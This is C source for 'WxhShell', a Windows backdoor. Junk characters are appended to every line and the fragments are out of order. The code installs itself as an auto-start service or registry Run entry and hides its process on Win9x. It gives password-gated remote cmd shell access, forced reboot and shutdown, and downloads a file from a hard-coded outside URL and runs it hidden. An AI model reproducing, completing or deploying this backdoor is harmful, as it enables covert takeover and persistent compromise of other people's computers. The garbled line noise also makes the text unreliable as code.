    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "5}%"-#  
    else { +2Ql~w@$^l  
    closesocket(wsh); waCboK'  
    ExitThread(0); ]`d2_mu  
    } f^?uY8<  
    break; ;E#\   
    } 's.~$  
  // 获取shell `NSy"6{Z  
  case 's': { %[ /<+  
    CmdShell(wsh); w" JGO  
    closesocket(wsh); zKxvN3!  
    ExitThread(0); { 5-zyE  
    break; h@@d{{IqT  
  } *NlpotW,f  
  // 退出 &6/%k kv  
  case 'x': { U CRAw3=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _q)!B,y-/N  
    CloseIt(wsh); k2p'G')H  
    break; (a }J$:  
    } vbp-`M(  
  // 离开 ;v_V+t <$  
  case 'q': { O:^'x*}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); j#VIHCzlr  
    closesocket(wsh); wbi3lH:;  
    WSACleanup(); qo_]ZKL44  
    exit(1); e\9g->DUs  
    break; _!!}'fMC  
        } EZib1g&:R/  
  } ?'sXgo.}  
  } ru{f]|  
-CD\+d  "  
  // 提示信息 ^i'y6J  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K%gP5>y*9>  
} rY,PSK/j  
  } 7Ms90oE/c  
2]2H++  
  return; c@(1:,R  
} hH`Jb7 7L  
@o#+5P  
// shell模块句柄 $"8d:N?I[  
int CmdShell(SOCKET sock) kXwi{P3D$  
{ %LQ/q 3?_  
STARTUPINFO si; n+;vjVS%  
ZeroMemory(&si,sizeof(si)); P+Z\3re  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; JMlV@t7y<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n3ZAF'  
PROCESS_INFORMATION ProcessInfo; cJ/]+|PQ  
char cmdline[]="cmd"; //.>>-~1m  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); U -EhPAB@  
  return 0; ntGq" o  
} y94kX:q  
[se^.[0,  
// 自身启动模式 p<5!0 2yQ\  
int StartFromService(void) } 0M{A+  
{ 4x,hj  
typedef struct %l7fR}  
{ PLdn#S}.  
  DWORD ExitStatus; RUGv8"j  
  DWORD PebBaseAddress; aFY u}kl  
  DWORD AffinityMask; 7>n"}8i  
  DWORD BasePriority; J :S'uxM  
  ULONG UniqueProcessId; u 9]1X1wV  
  ULONG InheritedFromUniqueProcessId;  &?+WXL>  
}   PROCESS_BASIC_INFORMATION; T2weAk#J  
D.*>;5:0'  
PROCNTQSIP NtQueryInformationProcess; } ` T8A  
vM`~)rO@!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |RhM| i  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; B:9.e?t  
f=`33m5  
  HANDLE             hProcess; IU!Ht>  
  PROCESS_BASIC_INFORMATION pbi; kus}W  J  
`,Orf ZMb  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _k2w(ew?  
  if(NULL == hInst ) return 0; f=aIXhiYU  
8_xLl2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;%zC@a~{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); oT&m4I  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); gyu6YD8L  
}c|UX ZW  
  if (!NtQueryInformationProcess) return 0; Y=2Un).&  
JsQ6l%9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); kX2d7yQZz  
  if(!hProcess) return 0; l,d, T  
6RK\}@^=K  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "!L kp2\  
:a3 xvN-l  
  CloseHandle(hProcess); G7-!`-Nk  
- k`.j  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "C74  
if(hProcess==NULL) return 0; =|SdVv   
4# )6.f~  
HMODULE hMod; &ao(!/im  
char procName[255]; @Zm J z  
unsigned long cbNeeded; ;>ozEh#8w  
s".HEP~]=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,W*H6fw+  
1 Z[f {T)  
  CloseHandle(hProcess); kMxjS^fr  
Gvx[ 8I  
if(strstr(procName,"services")) return 1; // 以服务启动 ^Mytp>7  
*Km7U-BG  
  return 0; // 注册表启动 w>979g  
} '*R%^RK  
4%_M27bu[  
// 主模块 R^8{bP  
int StartWxhshell(LPSTR lpCmdLine) ^}>/n. %  
{ zY%. Rq-  
  SOCKET wsl; #jS[  
BOOL val=TRUE; _H\<[-l  
  int port=0; ~V+l_ :  
  struct sockaddr_in door; 3?E}t*/  
dGkg aC+  
  if(wscfg.ws_autoins) Install(); &Lt@} 7$8  
C2/}d? bki  
port=atoi(lpCmdLine); h6M;0_'  
\ =nrt?  
if(port<=0) port=wscfg.ws_port; 36$[   
o""~jc~  
  WSADATA data; "2hh-L7ql  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; u \g ,.C0  
.\)A@ua^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6 hiC?2b{x  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h$fe -G#  
  door.sin_family = AF_INET; u%2KwRQ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); BHr|.9g]%%  
  door.sin_port = htons(port); $YM_G=k  
lG"H4Aa>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Kf.T\V4%  
closesocket(wsl); <qeCso  
return 1; {9'M0=  
} V#^yX%  
%Fft R1"  
  if(listen(wsl,2) == INVALID_SOCKET) { _T*AC.  
closesocket(wsl); LP<<'(l`  
return 1; |t6~%6^8  
} 3,6Ox45  
  Wxhshell(wsl); $H*/;`,\[  
  WSACleanup(); L *Y|ey  
/[pqI0sf<A  
return 0; x$B&L`QV  
AHd-  
} LWmB, Zf/  
KoHGweKl#  
// 以NT服务方式启动 rt!r2dq"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ai kf|)D[  
{ wda';@y5(  
DWORD   status = 0; u"+}I,'L  
  DWORD   specificError = 0xfffffff; m5-9yQ=.  
{o|k.zy  
  serviceStatus.dwServiceType     = SERVICE_WIN32; f/ahwz  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "J19*<~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; , =y#m- 9  
  serviceStatus.dwWin32ExitCode     = 0; ClQe4uo{  
  serviceStatus.dwServiceSpecificExitCode = 0; k-jahm4  
  serviceStatus.dwCheckPoint       = 0; 5PiOH"!19  
  serviceStatus.dwWaitHint       = 0; 0k[2jh  
@d&H]5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r9@AT(  
  if (hServiceStatusHandle==0) return; E*CcV;  
# c Fr   
status = GetLastError(); TFH&(_b  
  if (status!=NO_ERROR) 4gZ &^y'  
{ OW5t[~y]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; q7Es$zjX  
    serviceStatus.dwCheckPoint       = 0; _vl}*/=Hc  
    serviceStatus.dwWaitHint       = 0; 4JMiyiW&  
    serviceStatus.dwWin32ExitCode     = status; /q1s;I  
    serviceStatus.dwServiceSpecificExitCode = specificError; .-]R9KjR1J  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !I8f#'p  
    return; .6.^G  
  } x;#zs64f  
z2 hFn&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; qqOFr!)g  
  serviceStatus.dwCheckPoint       = 0; ~]fJlfR*  
  serviceStatus.dwWaitHint       = 0; YpmYxd^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); HW6.O|3  
} $c9k*3{<+A  
Tls a%pn  
// 处理NT服务事件,比如:启动、停止 A Y9 9!p  
VOID WINAPI NTServiceHandler(DWORD fdwControl) f )NHM'  
{ K+d2m9C=  
switch(fdwControl) 1ThqqB  
{ 97`WMs  
case SERVICE_CONTROL_STOP: JUt7En;XE  
  serviceStatus.dwWin32ExitCode = 0; }iww:H-1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Mi 0sC24b|  
  serviceStatus.dwCheckPoint   = 0; K-Mc6  
  serviceStatus.dwWaitHint     = 0; aMwB>bt  
  { i[nF.I5*f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X0$@Ik  
  } kgW @RD|  
  return; !1Y&Y@ze  
case SERVICE_CONTROL_PAUSE: B3 zk(RNZ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :1aL ?  
  break; bS^WhZy'(  
case SERVICE_CONTROL_CONTINUE: 7$uJ7`e  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )K]pnH|  
  break; =/9^, 6Q(  
case SERVICE_CONTROL_INTERROGATE: q]c5MlJXF  
  break; k$"d^*R  
}; LN^f1/ b*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {1Eu7l-4  
} w1^QD^KnH  
[r-}bp'Gp  
// 标准应用程序主函数 m $dV<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !m y8AWO'  
{ elO<a]hX  
W>-B [5O&[  
// 获取操作系统版本 4na8  
OsIsNt=GetOsVer(); 77,oPLSn  
GetModuleFileName(NULL,ExeFile,MAX_PATH); FxW&8 9G  
B$a-og(  
  // 从命令行安装 8OFj0S1r`  
  if(strpbrk(lpCmdLine,"iI")) Install(); m7jA ,~O  
oy\B;aAK  
  // 下载执行文件 H3KTir"on  
if(wscfg.ws_downexe) { nHst/5dA  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) < n?=|g  
  WinExec(wscfg.ws_filenam,SW_HIDE); cy3Td28,  
} EbK0j?  
SreYJT%  
if(!OsIsNt) { c$H+g,7xQ-  
// 如果时win9x,隐藏进程并且设置为注册表启动 p]gT&[iJ  
HideProc(); :E_a 0!'  
StartWxhshell(lpCmdLine); j,-C{ K  
} /iQ(3F  
else m VxO$A,  
  if(StartFromService()) = !2NU  
  // 以服务方式启动 QwWW! 8  
  StartServiceCtrlDispatcher(DispatchTable); &0 \ ci9o  
else ~)X[(T{  
  // 普通方式启动 %,V YiW0  
  StartWxhshell(lpCmdLine); E`;;&V q-  
5J.0&Dda  
return 0; )e%}b -I'r  
} !]koSw}  
@F5f"8!.\  
<nHkg<O6Y  
f@ `*>"  
=========================================== U~f4e7x*O  
[0@`wZ  
@!%n$>p/V  
dF@)M  
+}kgQ^  
k2^a$k}  
" j;nb?;  
;`j/D@H  
#include <stdio.h> X@wm1{!  
#include <string.h> 1y"3  
#include <windows.h> ^Z,q$Gp~P  
#include <winsock2.h> l* dV\ B  
#include <winsvc.h> vZAv_8S)  
#include <urlmon.h> 5er@)p_  
bud&R4+  
#pragma comment (lib, "Ws2_32.lib") x?,9_va]  
#pragma comment (lib, "urlmon.lib")  Lc2QXeo8  
q!lP"J  
#define MAX_USER   100 // 最大客户端连接数 v zo4g,Bj  
#define BUF_SOCK   200 // sock buffer &Z^(y}jPr  
#define KEY_BUFF   255 // 输入 buffer 9^ed-h Bf  
KG9t3<-`  
#define REBOOT     0   // 重启 zc+@lJy  
#define SHUTDOWN   1   // 关机 J%rP$O$  
msx-O=4g  
#define DEF_PORT   5000 // 监听端口 +Ic ~ f1zh  
k5BXirB  
#define REG_LEN     16   // 注册表键长度 ?+CV1 ]  
#define SVC_LEN     80   // NT服务名长度 &9[P-w;7u  
t%VDRZo7  
// 从dll定义API ]`o!1(GA  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ud%s^A-qS  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =\kMXB  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {3\R|tZh,`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); wxQ>ifi9Z  
%j,iAUE<  
// wxhshell配置信息 ^rAa"p9  
struct WSCFG { +OaUP*\Dd  
  int ws_port;         // 监听端口 /pH(WHT+/H  
  char ws_passstr[REG_LEN]; // 口令 + %*&.@z_  
  int ws_autoins;       // 安装标记, 1=yes 0=no Qs 2.ef?  
  char ws_regname[REG_LEN]; // 注册表键名 <, @%*G1-  
  char ws_svcname[REG_LEN]; // 服务名 |L3X_Me  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 x hs#u  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #KpY6M-H  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 eny/ fm  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Ve 3 ;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" n(ir[w#,]"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 EMvHFu   
,XKCz ]8V  
}; sH#X0fG  
_=f=fcl  
// default Wxhshell configuration :3ZYJW1  
struct WSCFG wscfg={DEF_PORT, b'p4wE>  
    "xuhuanlingzhe", "jg@w%~  
    1, +b$S~0n   
    "Wxhshell", 47By`Jh71  
    "Wxhshell", T2'RATfG  
            "WxhShell Service", 8G^<[`.@j  
    "Wrsky Windows CmdShell Service", 7{kP}?  
    "Please Input Your Password: ",  ht97s  
  1, %/9;ZV  
  "http://www.wrsky.com/wxhshell.exe", R`'1t3p0i  
  "Wxhshell.exe" wFS2P+e;X  
    }; - xm{&0e)  
dbdM"z 4  
// 消息定义模块 $hrIO+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; c WAtju?L;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {=:#S+^ER  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; fL*T3[d  
char *msg_ws_ext="\n\rExit."; <E,%@  
char *msg_ws_end="\n\rQuit."; r|<DqTc6l  
char *msg_ws_boot="\n\rReboot..."; Ww3wsyx  
char *msg_ws_poff="\n\rShutdown..."; ^c}J,tZ]  
char *msg_ws_down="\n\rSave to "; 48D?'lW %  
Do7=#|bAM  
char *msg_ws_err="\n\rErr!"; `{K_/Cit  
char *msg_ws_ok="\n\rOK!"; T/r#H__`  
P 1>AOH2yG  
char ExeFile[MAX_PATH]; JgRYljQi2  
int nUser = 0; k;y w#Af8  
HANDLE handles[MAX_USER]; ]2SF9p_  
int OsIsNt; \fWW'  
`8_z!)  
SERVICE_STATUS       serviceStatus; B}?IEpYp  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |Bo .4lX  
+JyUe    
// 函数声明 n| !@1sd  
int Install(void); dR^"X3$  
int Uninstall(void); :\ QUs}  
int DownloadFile(char *sURL, SOCKET wsh); ?*"srE,#JX  
int Boot(int flag); 4$6T+i2E   
void HideProc(void); is^pgKX  
int GetOsVer(void); b-5y9K  
int Wxhshell(SOCKET wsl); zDOKShG  
void TalkWithClient(void *cs); h11.'Eej`  
int CmdShell(SOCKET sock); %b2oiKSBx?  
int StartFromService(void); r{?Ta iK  
int StartWxhshell(LPSTR lpCmdLine); ? zDa=7 J  
!]` #JAL7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); VaONd0Z I  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +_l^ #?o,  
9nSWE W  
// 数据结构和表定义 wBk@F5\<  
SERVICE_TABLE_ENTRY DispatchTable[] = }YhtUWz].  
{ DPn=n9n2  
{wscfg.ws_svcname, NTServiceMain}, ?DV5y|}pj  
{NULL, NULL} ~ Hy,7  
}; ,FzeOSy'p  
2;3f=$3  
// 自我安装 Kn;D?ioY  
int Install(void) &BE  g  
{ vV?rpe|%  
  char svExeFile[MAX_PATH]; c"tJld5F_  
  HKEY key; vdDludEv  
  strcpy(svExeFile,ExeFile); sJx+8 -  
&[mZD,  
// 如果是win9x系统,修改注册表设为自启动 ./6<r OW  
if(!OsIsNt) { m^~S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eJCjJ)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6vKS".4C  
  RegCloseKey(key); o]n!(f<(*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g| <wyt[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YGvUwj'2a  
  RegCloseKey(key); R<ND=[}s  
  return 0; Bf`9V713  
    } =WZqQq{  
  } w~R`D  
} 07g':QU@  
else { sZgRt  
"Ml&[O ge  
// 如果是NT以上系统,安装为系统服务 ykg#{9+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Sw&!y$ed  
if (schSCManager!=0) #V02hs1  
{ Z;Rp+ X  
  SC_HANDLE schService = CreateService U5HKRO  
  ( HmmS(fU  
  schSCManager, C#V ~Y  
  wscfg.ws_svcname, ,B}I?vN.  
  wscfg.ws_svcdisp, MTGiAFE  
  SERVICE_ALL_ACCESS, "L&'Fd@ZU  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :wqC8&V  
  SERVICE_AUTO_START, F|bYWYED;  
  SERVICE_ERROR_NORMAL, ikBYd }5  
  svExeFile, va|*c22;|  
  NULL, Q?t^@  
  NULL, 2I1uX&g  
  NULL, NG&_?|OmV  
  NULL, P>Euq'ajX  
  NULL S"mcUU}}  
  ); `fXyWrz-k  
  if (schService!=0) %?C8mA'w  
  { 3Ug  
  CloseServiceHandle(schService); 6 9y;`15  
  CloseServiceHandle(schSCManager); ZSy?T  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %#L]]-%  
  strcat(svExeFile,wscfg.ws_svcname); 2?C`4AR[2H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?YM4b5!3T  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f;SC{2f  
  RegCloseKey(key); 5v\!]?(O;  
  return 0; ma$Prd  
    } |wE3UWsy  
  } k^ F@X  
  CloseServiceHandle(schSCManager); 2f`nMW  
} YT/kC'A  
} PYRd] %X  
^>y@4qB  
return 1; 2 !" XzdD  
} V==z"  
SHb(O<6  
// 自我卸载 I:V0Xxz5t  
int Uninstall(void) ]&~]#vB#  
{ >evS} O6  
  HKEY key; l%R50aL  
x_!0.SU  
if(!OsIsNt) { Il@Y|hK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z\ss4  
  RegDeleteValue(key,wscfg.ws_regname); q}BzyC=:n  
  RegCloseKey(key); +|Hioq* ,t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U!%!m'  
  RegDeleteValue(key,wscfg.ws_regname); 5Ky#GuC  
  RegCloseKey(key); 2O"P2(1}v  
  return 0; CRve.e8J  
  } 4n1; Bh$  
} 7`IpBm<  
} yV3^Qtb!  
else { ZD#9&q'4<  
\AUI|M;'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  =$8nUX`  
if (schSCManager!=0) am_gH  
{ tj]9~eJ-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ZlYPoOq  
  if (schService!=0) *=ZsqOHwG  
  { ;Yfv!\^|  
  if(DeleteService(schService)!=0) { :4)Qt  
  CloseServiceHandle(schService); qjAWeS/  
  CloseServiceHandle(schSCManager); /N>e&e[35\  
  return 0; 1T_QX9  
  } /WV7gO&L1  
  CloseServiceHandle(schService); >R{qESmP=  
  } 1 Q-bYJG  
  CloseServiceHandle(schSCManager); 8l?piig#  
} B<8N96fx  
} I-]>d;4.  
*rZ^^`4R  
return 1; J?JeU/:+  
} GSoZx0  
kL7#W9  
// 从指定url下载文件 dUgrKDNyA  
int DownloadFile(char *sURL, SOCKET wsh) Uq_j\A;c  
{ ' /Bidb?  
  HRESULT hr; UmnE@H"t$\  
char seps[]= "/"; e6X[vc|Y}  
char *token; 6J~12TU,  
char *file; X1[CX&Am  
char myURL[MAX_PATH]; j#~Jxv%n  
char myFILE[MAX_PATH]; gw`B"c|  
Ee1LO#^_6  
strcpy(myURL,sURL); +#b:d=v!  
  token=strtok(myURL,seps); 0c.s -  
  while(token!=NULL) }),w1/#5u8  
  { 9%ii '{  
    file=token; be5,U\&z  
  token=strtok(NULL,seps); {u!)y?}I-  
  } &~UJf4b|A  
OX%MP!#KU  
GetCurrentDirectory(MAX_PATH,myFILE); yq_LW>|Z  
strcat(myFILE, "\\"); p2J|Hl|  
strcat(myFILE, file); 6qe*@o  
  send(wsh,myFILE,strlen(myFILE),0); 6+V\t+aug  
send(wsh,"...",3,0); N$Y" c*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); P+t#4J  
  if(hr==S_OK) V>64/  
return 0; ]%uZ\Q;9p  
else ,<<4*  
return 1; p5O",3,A4  
bsxTqJ  
} #>Y'sd5'A  
vhvdKD  
// 系统电源模块 vQF vtwd  
int Boot(int flag) GEjd7s]C  
{ gef6pfV  
  HANDLE hToken;  `G1&Z]z  
  TOKEN_PRIVILEGES tkp; !|2VWI}  
.t&R>9cZ^  
  if(OsIsNt) { M fk2mIy  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); T,fI BD:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Tj~IaU  
    tkp.PrivilegeCount = 1; wdzOFDA  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k"k J_(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); d_S*#/k  
if(flag==REBOOT) { %8aC1x  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) nFX_+4V2  
  return 0; 4RKW  
} EA.D}XC  
else { M,j(=hRJ/E  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zPEg  
  return 0; juAMAplf  
} dX8hpQ  
  } (F7_S*  
  else { iFSJL,QZ3  
if(flag==REBOOT) { D2YZ9e   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Sz{O2 l Y  
  return 0; 41#w|L \  
} %or,{mmiM:  
else { ,1q_pep~?%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ES<1tG  
  return 0; GN#<yv$av  
} "I;C;}!  
} o01kYBD  
>$gG/WD?KR  
return 1; c4e_6=Iv  
} , "jbq~  
pqvOJ#?Q}=  
// win9x进程隐藏模块 gIR^ )m  
void HideProc(void) r _,_5 @0e  
{ MyJ4><oG  
JB</euyV  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); BY\:dx)mK  
  if ( hKernel != NULL ) =k}SD96  
  { 3`O?16O  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {)- .xG  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [w -{r+[  
    FreeLibrary(hKernel); oMcK`%ydm  
  } gADmN8G=  
.*=]gZ$IE  
return; NT%W;)6m9  
} :J}t&t  
z s Qo$p  
// 获取操作系统版本 i$^)UZJ&0  
int GetOsVer(void) rdJm{<  
{ |5I'CNi\  
  OSVERSIONINFO winfo; xy+QbD T  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "O+5R(XT  
  GetVersionEx(&winfo); nmlPX7!{$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) E{=2\Wkcp  
  return 1; GZ!| }$ 8  
  else Dz!fpE'L  
  return 0; E< 4l#Z<  
} ;;5Uwd'-  
1ju#9i`.Wg  
// 客户端句柄模块 Kzy/9  
int Wxhshell(SOCKET wsl) VS#wl|b8  
{ QYXx:nIrg  
  SOCKET wsh; I~PDaZP  
  struct sockaddr_in client; B}OY /J/*8  
  DWORD myID; Gx?+9C V  
DPe]daF  
  while(nUser<MAX_USER) ^IZ)#1U  
{ ?[ly`>KpJ  
  int nSize=sizeof(client); D/(L  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); RVtQ20e";r  
  if(wsh==INVALID_SOCKET) return 1; -@^Zq}  
j$fAq\B  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); v/uO&iQw5  
if(handles[nUser]==0) `T/~.`R  
  closesocket(wsh); LW#M@  
else SEQ%'E5-'  
  nUser++; aRj>iQaddx  
  } 50j OA#l[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ArLvz5WV  
y<W8Q<9  
  return 0; kI*(V [i  
} *VSel4;\t  
ZZ/cq:3$P  
// 关闭 socket @#+jMV$g  
void CloseIt(SOCKET wsh) p\wJD1s  
{ lM\LN^f5*  
closesocket(wsh); zHB_{(o7  
nUser--; f<i7@%  
ExitThread(0); 0?7XtC P<  
} t^=U*~  
mIZwAKo  
// 客户端请求句柄 P`$12<\O1  
void TalkWithClient(void *cs) Ocg"M Gb  
{ ^s7,_!.Pq  
TL= YQA  
  SOCKET wsh=(SOCKET)cs; RKd  
  char pwd[SVC_LEN]; u]C`6)>  
  char cmd[KEY_BUFF]; O(2cWQ  
char chr[1]; BOlAm*tFt  
int i,j; i< (s}wg  
QrD o|GtE  
  while (nUser < MAX_USER) { t$& Qv)  
'6Qy/R  
if(wscfg.ws_passstr) { qg z*'_S  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NCeaL-y7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {!ZyCi19  
  //ZeroMemory(pwd,KEY_BUFF); ^jdL@#k00  
      i=0; bTmL5}n  
  while(i<SVC_LEN) { #$S}3 o  
@z6!a  
  // 设置超时 i;\s.wrzH  
  fd_set FdRead; WiNT;v[  
  struct timeval TimeOut; PL0`d`TI  
  FD_ZERO(&FdRead); ~%w~-O2  
  FD_SET(wsh,&FdRead); TmRx KrRs  
  TimeOut.tv_sec=8; fT:}Lj\L1  
  TimeOut.tv_usec=0; P sjbR  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !KS F3sz  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); hPm>tV2X  
4FeEGySow  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x  FJg  
  pwd=chr[0]; F SMj  
  if(chr[0]==0xd || chr[0]==0xa) { `T*U]/zQ  
  pwd=0; hi{%pi&!T  
  break; l1_X(Z._V  
  } T~4mQuYi  
  i++; yT /EHmJ  
    } L6:h.1 U$  
r >{G`de4  
  // 如果是非法用户,关闭 socket 0V,Nv9!S  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )yee2(S  
} Y,z??bm~J  
u.|~   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); C.a5RF0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TT!ET<ciN  
*}b]rjsj  
while(1) { hP?fMW$V  
W+>wu%[L  
  ZeroMemory(cmd,KEY_BUFF); BW[5o3 i  
=y ]Jl,_.  
      // 自动支持客户端 telnet标准   mxTk+j=  
  j=0; Ry;$^.7%  
  while(j<KEY_BUFF) { Q ~|R Z7G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V%L/8Q~  
  cmd[j]=chr[0]; )-P!Ae_.v  
  if(chr[0]==0xa || chr[0]==0xd) { #5CI)4x0!  
  cmd[j]=0; dZ2%S''\  
  break; 7 &)]) {Q  
  } >O{7/)gS^  
  j++; {5:Zl<0  
    } wJ"ev.A)  
}Ag|gF!_  
  // 下载文件 SQ(apc}N4  
  if(strstr(cmd,"http://")) { J}g~uW  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); y%BX]~  
  if(DownloadFile(cmd,wsh)) x2wg^$F*oO  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); X33v:9=  
  else N{a kg90  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HQVh+(  
  } tiQ;#p7%  
  else { )na&" bJ  
gy_$#e  
    switch(cmd[0]) { _+QwREP  
  97~K!'/^+y  
  // 帮助 =v-2@=NJ`K  
  case '?': { \3Jq_9Xv  
